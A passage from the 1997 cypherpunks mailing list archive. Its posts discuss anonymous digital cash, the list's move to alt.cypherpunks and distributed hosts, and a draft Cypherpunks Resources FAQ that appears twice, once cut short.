By making "negative deposits" (submitting signed withdrawal slips,
effectively), these intermediaries function as moneychangers. And so the
one-way anonymous features become two-way (effectively, each of the
transactions contributes a "one-way anonymous" component: one-way + one-way
= two-way).

It is much easier to understand digital cash with the usual diagram showing
the usual triangle of CUSTOMER-MERCHANT-MINT and then analyzing the flow of
information, who knows what, etc. Drawing such diagrams in e-mail is beyond
my patience.

This system used online clearing, of course.

This "disintermediates" the process, and makes for an "everyone a mint"
situation, which has some of the same nice properties that an "everyone a
remailer" ecology of remailers and users has.

And the principle can be extended further back, to where the usual
distinctions between CUSTOMER and MERCHANT vanish (as it sort of does in
the real world, where the two parties are merely exchanging one item for
another item), and where the role of the MINT is minimal.

In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
some cases, not in other cases). This means that "anyone a mint" does not
violate any of the Chaum/Digicash patents, and "mint clients" are likely to
be written by third parties. (The _customer_ is presumably on the honor
system to abide by the Chaum patents...except the patents are only being
licensed to banks...go figure.)

(This is where, as I recall, Doug's "agnostic" system came in...it is
possible his thinking was similar to Ian's...I don't have Doug's paper
handy.)

Ian demonstrated this on an actual system, with real live connections to
mints in various countries, but with the blinding not used (as I recall).
Draw your own conclusions about what this means.

It was heady stuff, seeing the result many of us believed to be implicit in
Chaum's 1985 paper made real. Everyone a mint. This makes the spread of
fully anonymous digital cash harder to stop.

Issues of the mint denying one has an account are always real ones, but not
important--I think--in the real world. The untraceability of the digital
coins means that a mint never knows who is testing it for reliability and
"honesty," and the mint cannot set out to "screw" a particular customer by
declaring his account not to exist (as the mint almost certainly does not
have to know who own which accounts, as deposits can be made anonymously).

I hope this helps. I plan to use this result centrally in my talk at the
panel discussion on "Governmental and Social Implications of Digital Cash"
at the upcoming CFP.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Wed, 12 Feb 1997 16:41:39 -0800 (PST)
To: Lee Tien <tien@well.com>
Subject: Re: anonymity and e-cash
Message-ID: <199702130041.QAA10379@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lee Tien <tien@well.com> writes:

> [...] 
> Is payee anonymity technically possible?  Under what conditions?
> [...]

It's not too hard: The payee forwards a blinded, non-signed coin
to the payer. The payer has the bank sign this, and then returns
it to the payee who strips out the blinding factor. I think
this is discussed in Schneier.

Leonard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:42:25 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702130042.QAA10417@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 5:49 PM -0600 2/12/97, Firebeard wrote:
>>>>>> Timothy C May writes:
>
>TCM> Since posting my comments I've just seen the proposal that tivoli
>TCM> may host a list.
>
>	Whoa, Nellie!  Who made that proposal?  It certainly wasn't
>me!  I said that I was taking steps to set up a majordomo to host a
>cypherpunks list.  Topmost on those steps is creation of the sten.net
>or sten.org domain, and getting a personal,
>paid-for-out-of-my-own-pocket, ISDN connection.  The majordomo will
>run off of my personal computer sitting in my apartment, not on Tivoli
>hardware sitting in the support lab.  As I said, John forced my hand
>in his announcement, causing me to 'put up' before everything was in
>place, including the domain registration.  Yes, my mail comes from
>sten.tivoli.com.  That doesn't mean that everything I do in life is
>connected to Tivoli, IBM, etc.

Sorry, I was just going by what I saw in your e-mail address. My point was
not really about Tivoli, or IBM, or any other particular company, though.

I was making the point that _any_ site distributing a list is likely to
face legal pressures not to carry certain items. Read between the lines (or
read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
the products of Sandy's company, and legal pressures applied, to see what I
mean.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 15:13:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702122313.PAA08386@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 14:33:03 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Network of majordomos (fwd)

> Yes, I installed INN and ran a few hundred test messages through it last
> night. My machine will be on the net full-time Thursday or Friday. Will yours
> be ready then, too? 

The mailing list was ready yesterday. Currently I have about a dozen
subscribers who are testing it. Igor has his list up and I expect that we
will begin the cross-subscription process on Saturday or Sunday. I sent
a 'who is here' message to cypherpunks-hosts@algebra.com and have not
received any replies.

> If you need some help setting it up, let me know. It can be a little tricky
> if you haven't done it before. 

Thanks, I'll factor that into my equation. I, however won't be acting as
a mail-to-news gateway at this point. What I would like to see would be
a news site which sent a copy of each incoming message to a mailing list
and would have an email address where each new submission to the mailing
list would get sent to. To make it really interesting would be to use
two seperate remailers, one for each traffic path. Had you thought of
taking your news that far?


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 12 Feb 1997 17:57:26 -0800 (PST)
To: tien@well.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130157.RAA13355@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: tcmay@got.net (Tim May)
> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
> just this issue. (He also talked for an hour on his crack of the RSA
> challenge using 250 workstations...this was also a good talk.)

I wish I could have heard that, it sounds good...

A simple idea we have discussed for full anonymity uses the idea of
exchanging coins at the bank.  You make an anonymous connection to
the bank, supply some ecash you have received along with some blinded
new ecash.  The bank verifies that the ecash is good and signs your
blinded ecash, sending it back to you.  You unblind it and have good,
fresh smelling ecash which you can keep, spend, or later deposit in
your account.

If the merchant performs this exchange operation on-line as soon as
he receives ecash, then his anonynmity is protected.  The customer is
protected too, by the blinding he used when he withdrew the ecash earlier.
So both sides remain anonymous.

It sounds like Ian may have worked out details of a system where third
parties do these exchanges.  Banks may be reluctant to allow them for
liability reasons, and the market, abhoring the vacuum, will supply
intermediaries who perform exchanges for a fee.

Resolving the various forms of cheating is the hard part.  When Lee asks
about a signed receipt, it is hard to understand what is the point if the
seller is fully anonymous!  A signed receipt from a freshly-minted key
is not of much use to anyone.

If the participants are using persistant pseudonyms then whatever
reputation capital they have can be put on the line when cheating happens,
although it still may be hard to tell who cheated whom.  Did the customer
pass bad cash and claim it was good, or did the merchant deposit good
cash and claim it was bad?

The same thing could happen every day at the supermarket, of course.
A customer insists they paid $20 but got change for a $10.  If dozens of
customers say the same thing has happened to them, we start to mistrust
the market, while if several businesses say this particular customer
has made the same claim to them, we blame the customer.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 17:56:59 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: List! No Way: Creati
Message-ID: <199702130156.RAA13314@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:23 PM 2/11/97 -0500, harka@nycmetro.com wrote:
>Were it possible to use Perry's PGPDomo, which would effectively
>keep out at least the Spammers?

That'll keep out the outside spammers; it won't keep out
anybody trying to attack the list (if people can do that with
remailers, they can figure out how to do it with PGP...)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 13:56:25 -0800 (PST)
To: dthorn@gte.net
Subject: Re: New group
Message-ID: <199702122156.NAA06398@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Paul Bradley wrote:

> > Well despite the obvious problems of propogation I thought it was time
> > someone actually did something to get us a new home, even if it`s only
> > temporary. So I have created alt.cypherpunks... See you all over on
> > usenet!...

 
> I pressed the URL alt.cypherpunks and my Netscape server said
> "no such thing" or words to that effect.

The control message may take a few more hours to propogate, either 
that or your newsadmin has rmgrouped it. The charter was clear and 
concise and explained the issues so I don`t see why it should have 
been rmgrouped. Can you mail me if it hasn`t been created by the time 
you get this email and I`ll re-issue the cmsg. However, I`m sure it 
was OK as Robert Hettinga (sp?) found it on his news server today...

Seeya

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 17:58:50 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <199702130158.RAA13471@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:03 PM 2/11/97 -0600, Jim Choate <ravage@einstein.ssz.com> wrote:
>What is the current future of the Cypherpunks webpage? Will it continue to
>be kept up or is it going down as well?

If you mean the one on soda.berkeley.edu, the last I checked
nobody had updated it in a year or more, but it was still ticking.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 12 Feb 1997 16:26:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Been good to know ya ...
Message-ID: <199702130026.QAA09967@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Later, all.

And thanks to John for all the work he has put in to maintaining the list.

Last one to leave, turn out the lights.

-r.w.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tobin Fricke <tobin@edm.net>
Date: Wed, 12 Feb 1997 18:57:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Speaker needed
Message-ID: <199702130257.SAA18397@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If anyone is going to be in south Orange County, California during the
third week in March, and is interested  in speaking to a group of high
school students on Cryptography and the political and economic
considerations involved, please contact me via email at tobin@mail.edm.net.
 Thank you. (I'm not on cypherpunks, so don't email the list.)

Tobin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Wed, 12 Feb 1997 16:11:45 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702130011.QAA09591@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Timothy C May writes:

TCM> Since posting my comments I've just seen the proposal that tivoli
TCM> may host a list.

	Whoa, Nellie!  Who made that proposal?  It certainly wasn't
me!  I said that I was taking steps to set up a majordomo to host a
cypherpunks list.  Topmost on those steps is creation of the sten.net
or sten.org domain, and getting a personal,
paid-for-out-of-my-own-pocket, ISDN connection.  The majordomo will
run off of my personal computer sitting in my apartment, not on Tivoli
hardware sitting in the support lab.  As I said, John forced my hand
in his announcement, causing me to 'put up' before everything was in
place, including the domain registration.  Yes, my mail comes from
sten.tivoli.com.  That doesn't mean that everything I do in life is
connected to Tivoli, IBM, etc.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Wed, 12 Feb 1997 16:27:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pre-alpha Cpunx-resource FAQ comments sought
Message-ID: <199702130027.QAA09991@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Okay folks.  I have worked on this much of the day.  This is a more
formalized outline as well as a somewhat fleshed out version of
section 1 of the FAQ I am attempting to produce.

I submit this to the group for commentary and suggestions as well as
pointers to the relevant info.

This should be enough to give a flavor of what I am trying to do.
Anything in [] needs to be located and/or verified by myself.

I realize that this won't please everyone and some may not care.  So
be it.  

Those who do care, please help me make it less of a FAQ based
on my subjective experience and more of a useful general reference.

Here it is...


-----BEGIN PGP SIGNED MESSAGE-----


                       Cypherpunks Resources FAQ
                           version 0.000000002
                      Compiled, edited & maintained by
                  Scott Harney "Omegaman <omegam@cmq.com>"

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers of the
group to explore the background issues that Cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various newsreaders and email-filters are provided to help users filter
out some of the net's inevitable noise and glean the most useful
information they can from this forum. 

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is not intended to be an exhaustive reference.  A quick
perusal of this FAQ should reveal the impossiblity of such a task.
Rather, it is a jumping-off point.  Almost all of the references below
contain voluminous further references.  If your mission-critical
Cypherpunks site is not explicitly included, it is 99% likely to be
referred to by at least one of them.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks faq"
to omegam@cmq.com.  As with nearly all net.publications, this document
is in a constant state of contruction.  When information in the FAQ is
updated, I will also post a "what's new" message for those who are
interested in reading additions/corrections without wading throught the
entire FAQ again. 


- -------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- - Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

- -------*********--------*********---------********--------*********------

Premliminary Outline

Section 1 - Introduction and General Information.  

Q1.1 Does this newsgroup/mailing-list have a charter?
Q1.2 How did the group get started?  
Q1.3 What do Cypherpunks want? 
Q1.4 What happened to the toad.com mailing list?  Are there archives?
Q1.5 Are there other groups besides Cypherpunks who share these goals.
Q1.6 What have the Cypherpunks done to advance their goals other that
     merely talk about them?
Q1.7 I'm interested, what can I do?  
Q1.8 What are all these terms and acronyms anyway? (A Quick n' Dirty 
     Glossary)

Section 2 - Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
     remailer software.  software to make remailer usage simpler
     (premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
     explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
     work.  sci.crypt faq
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
     Schneir's essay.  Use your brain.

Section 3 - Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
     good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 - Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
     bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (got to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
[Others?  I'm getting sleepy, names escaping me at the moment]

Section 5 - Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
     into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
     [Possibly include generic examples from own experience and list 
     user's experience who wish to contribute.  Specific names will 
     be ommitted of course.  Also score information for those 
     interested]
Q5.4 point to information on other utilities and verification-type
     schemes [NoCeM's]

Section 6 - Personal motivations, thank-you's, etc.  

*********----------**********----------**********---------*********----
Section 1.  Introduction and General Information

Q1.1 Do the Cypherpunks have an official charter?

No.  Cypherpunks are anarchic in nature so the notion of an official
charter is directly contrary to such ideals.  

The two statements below are from Original Cypherpunks (OC's) Eric
Hughes and Tim May.  The first was part of the original welcome
message to the mailing list hosted at toad.com.  The second was
suggested by Tim to the original list and commented upon by the
readership.  Both statements are accepted by much of the readership as
good indicators of what Cypherpunks are about.

Eric Hughes' statement:
 "Cypherpunks assume privacy is a good thing and wish there were more
  of it.  Cypherpunks acknowledge that those who want privacy must
  create it for themselves and not expect governments, corporations, or
  other large, faceless organizations to grant them privacy out of
  beneficence.  Cypherpunks know that people have been creating their
  own privacy for centuries with whispers, envelopes, closed doors, and
  couriers.  Cypherpunks do not seek to prevent other people from
  speaking about their experiences or their opinions.

  The most important means to the defense of privacy is encryption. To
  encrypt is to indicate the desire for privacy.  But to encrypt with
  weak cryptography is to indicate not too much desire for privacy.
  Cypherpunks hope that all people desiring privacy will learn how best
  to defend it.

  Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
  to learn about it, to teach it, to implement it, and to make more of
  it.  Cypherpunks know that cryptographic protocols make social
  structures.  Cypherpunks know how to attack a system and how to
  defend it.  Cypherpunks know just how hard it is to make good
  cryptosystems.

  Cypherpunks love to practice.  They love to play with public key
  cryptography.  They love to play with anonymous and pseudonymous mail
  forwarding and delivery.  They love to play with DC-nets.  They love
  to play with secure communications of all kinds.

  Cypherpunks write code.  They know that someone has to write code to
  defend privacy, and since it's their privacy, they're going to write
  it.  Cypherpunks publish their code so that their fellow Cypherpunks
  may practice and play with it.  Cypherpunks realize that security is
  not built in a day and are patient with incremental progress.

  Cypherpunks don't care if you don't like the software they write. 
  Cypherpunks know that software can't be destroyed.  Cypherpunks know
  that a widely dispersed system can't be shut down.

  Cypherpunks will make the networks safe for privacy."

Tim May's statement:
 "Alt.cypherpunks is for the unmoderated discussion of cryptography
  and the political, social, and economic implications of
  unrestricted, strong cryptography. The Cypherpunks grpup has existed
  since 1992 and has been central in the debate about strong crypto,
  government restrictions, crypto anarchy, and in showing weaknesses
  of various ciphers and security products. The mailing list has had
  as many as 1500 subscribers, plus gateways to newsgroups and Web
  sites. It is expected that 'alt.cypherpunks' will be a free-wheeling
  forum for many viewpoints. As it is unmoderated, readers are
  strongly advised to learn how to use filters and other tools for
  making virtual anarchies manageable for their own tastes."


Q1.2 How did the group get started?

Needless to say, the history of such things is fuzzy at best.  

Eric Hughes and Tim May had some discussions which led to Eric Hughes,
decision to host a meeting.  Concidently, the first meeting occurred the
same week PGP 2.0 was released.  John Gilmore offered his site to host a
mailing list, and thus Cypherpunks were born.  see Q1.2, Q1.4, and Q1.6
for references containing more detail.

also see: [Wired article URL]
           
Q1.3 What do Cypherpunks want?

Such a simple question with no simple, short answer.  Please explore
the following sites.

Tim May's provacative (and large!) Cyphernomicon
 http://www.oberlin.edu/~brchkind/cyphernomicon/

The Berkeley Cypherpunks site is another good starting point.
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html

Also see: 
http://www.offshore.com.ai/security/ - Vince Cate's
Cryptorebel/Cypherpunk Page 

http://www.eskimo.com/~joelm/ - Joel McNamara's Electronic Privacy
Page

Q1.4 What happened to the toad.com mailing list?  Are there archives?

As with all Cypherpunks issues, there is much controversy surrounding
the dissolution of the original list hosted by John Gilmore's machine
@toad.com.  Some say that noise devoured the list to such a point as to
make it useless, driving away the "good posters".  Others argue that
the failed attempt at moderating the list to eliminate some of that
noise was the final nail in the coffin.

Whatever the reason, Gilmore told the Cypherpunks that it was time to
find a new home.  Running a mailing list with 1500+ subscription base
and the enormous volume that the list had is not a simple task.  The
physical running of the list on a single machine requires enormous
computational resources as well as constant human intervention.

Perhaps the resultant newsgroup and distributed mailing list approach
is more in line with Cypherpunk ideals.  "Cypherpunks know that a
widely dispersed system cannot be shut down."

Archives of the original list are available to some degree at:
http://infinity.nus.sg/cypherpunks/
http://weber.u.washington.edu/~phantom/cpunk/index.html

Users interested in running a "node" of the distributed mailing list
version of this newsgroup are encouraged to subscribe to Igor Chudov's
discussion list on the subject.  Send a message to majordomo@algebra.com
with the body "subscribe cypherpunks-hosts"

Q1.5 Are there other groups besides Cypherpunks who share these goals?

The following organizations and sites share Cypherpunk goals to a
greater or lesser extent.

The EFF(Electronic Frontier Foundation) http://eff.org
http://eff.org/pub/ITAR_export/HTML/hot.html &
http://www.eff.org/pub/Privacy/hot.html - more specific references &
extensive archival information

EPIC (Electronic Privacy Information Center)
http://epic.org

Voter's Telecommunications Watch
http://www.vtw.org

Center for Democracy and Technology 
http://www.cdt.org

The Cryptography List at C2Net is also a good resource.
send a message to Majordomo@c2.net with the body "subscribe
Cryptography"

The Coderpunks list at toad.com is a technical discussion forum.
Send a message to majordomo@toad.com with the body "subscribe
coderpunks"

Q1.6 What have the Cypherpunks done to advance their goals other that
merely talk about them?

Many Cypherpunks are professionals in the computer security field.
Others work for companies and corporations which create and distribute
products utilizing strong cryptography.

Cypherpunks are also directly responsible for the creation and running
of Type I and Type II(mixmaster) Cypherpunks anonymous remailers
(surprising, eh?).  see Q2.5

Cypherpunks have also produced software to make good crypto easier for
the masses. [Get permission from PGP-front end producers to reference here]

The Linux-IPSEC project is another good example. [see & subscribe ref?].

Mykotronx exposure and dumpster diving excursion. [reference?]

see Q1.4(list-archive sites)

Q1.7 I'm interested, what can I do?  

First of all READ before you post.  Observe simple etiquette.  Don't
clutter the group with "me too" posts and questions which you can
easily find the answer to yourself.  Contribute signal, not noise.

As of this writing, RSA, inc. is hosting a contest to crack the
government standard DES 56 bit algorhythm.  See
[http://www.rsa.com/contest] for full details.

Also see Peter Trei's site for software and info.

Host a portion of the distributed mailing list.  See Q1.5.

Run an anonymous or pseudonymous remailer. see Q1.6 for site references
and software.

Use strong crypto.  Encourage friends to use it as well.  Increase the
amount of encrypted traffic on the net.

Can you code?  There are plenty of projects and opportunites yet to be
explored.  Black Unicorn writes:
 "Where is highly sophisticated stego?
  Where are larger keys for symetric ciphers?
  Where is a fully functional and secure "stealth PGP"?
  Where are anonymous and encrypted WWW clients and hosts which permit
  chaining?

  If the crypto war is going to be lost it will be lost in the chill of
  development when crypto regulation is put into place.

  If you don't make the guns in the first place, the government has a much
  easier time taking them away."


Q1.8 What are all these terms and acronyms anyway?

Here's a quick-n-dirty glossary.

GAK = Government access to keys.  Government euphemisms for GAK include
"key escrow" and "key recovery" (actually important for corporations,
but misused in recent USG proposals)

USG = United States Government

ITAR = International Trade and Arms Regulations.  Regulations export of
arms from the US.  Strong Crypto is regulated as a weapon by this
document. see Q3.2

EAR = Encryption Algorhythm Regulations (a guess, look it up)  Recent
proposals by Clinton Administration.  see Q3.2

TLA = Three Letter Acronym/Agency.  Refers to USG agencies (typically
involved in law enforcement) FBI, CIA, NSA, etc.

NSA = National Security Agency.  This highly secretive agency is
responsible for the protection of USG secrecy via encryption as well as
the spying on other governments by breaking encryption algorhythms.
see Q4.8

DES = US Data Encryption Standard algorhythm. see Q2.9

RSA = a company and a public key algorhythm.  see Q2.9  and Q2.3

net.loon/kook = a purely subjective characterization.

Signal-to-Noise ratio = Signal refers to on-topic posts.  Noise, the
opposite.  A high S/N ratio means the list is putting out a lot of
signal("good posts").  Subjective, but fairly obvious.  See Section 5
for pointers no how to reduce (what you think is) noise

Memes = [get a good definition here]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        [Rest of FAQ goes here :)   This is a pre-alpha FAQ, intended
         only to solicit commentary and suggestions.]

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Wed, 12 Feb 1997 16:27:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pre-alpha Cpunx-resource FAQ comments sought
Message-ID: <199702130027.QAA10017@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Okay folks.  I have worked on this much of the day.  This is a more
formalized outline as well as a somewhat fleshed out version of
section 1 of the FAQ I am attempting to produce.

I submit this to the group for commentary and suggestions as well as
pointers to the relevant info.

This should be enough to give a flavor of what I am trying to do.
Anything in [] needs to be located and/or verified by myself.

I realize that this won't please everyone and some may not care.  So
be it.  

Those who do care, please help me make it less of a FAQ based
on my subjective experience and more of a useful general reference.

Here it is...


-----BEGIN PGP SIGNED MESSAGE-----


                       Cypherpunks Resources FAQ
                           version 0.000000002
                      Compiled, edited & maintained by
                  Scott Harney "Omegaman <omegam@cmq.com>"

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers of the
group to explore the background issues that Cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various newsreaders and email-filters are provided to help users filter
out some of the net's inevitable noise and glean the most useful
information they can from this forum. 

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is not intended to be an exhaustive reference.  A quick
perusal of this FAQ should reveal the impossiblity of such a task.
Rather, it is a jumping-off point.  Almost all of the references below
contain voluminous further references.  If your mission-critical
Cypherpunks site is not explicitly included, it is 99% likely to be
referred to by at least one of them.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks faq"
to omegam@cmq.com.  As with nearly all net.publications, this document
is in a constant state of contruction.  When information in the FAQ is
updated, I will also post a "what's new" message for those who are
interested in reading additions/corrections without wading throught the
entire FAQ again. 


- -------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- - Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

- -------*********--------*********---------********--------*********------

Premliminary Outline

Section 1 - Introduction and General Information.  

Q1.1 Does this newsgroup/mailing-list have a charter?
Q1.2 How did the group get started?  
Q1.3 What do Cypherpunks want? 
Q1.4 What happened to the toad.com mailing list?  Are there archives?
Q1.5 Are there other groups besides Cypherpunks who share these goals.
Q1.6 What have the Cypherpunks done to advance their goals other that
     merely talk about them?
Q1.7 I'm interested, what can I do?  
Q1.8 What are all these terms and acronyms anyway? (A Quick n' Dirty 
     Glossary)

Section 2 - Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
     remailer software.  software to make remailer usage simpler
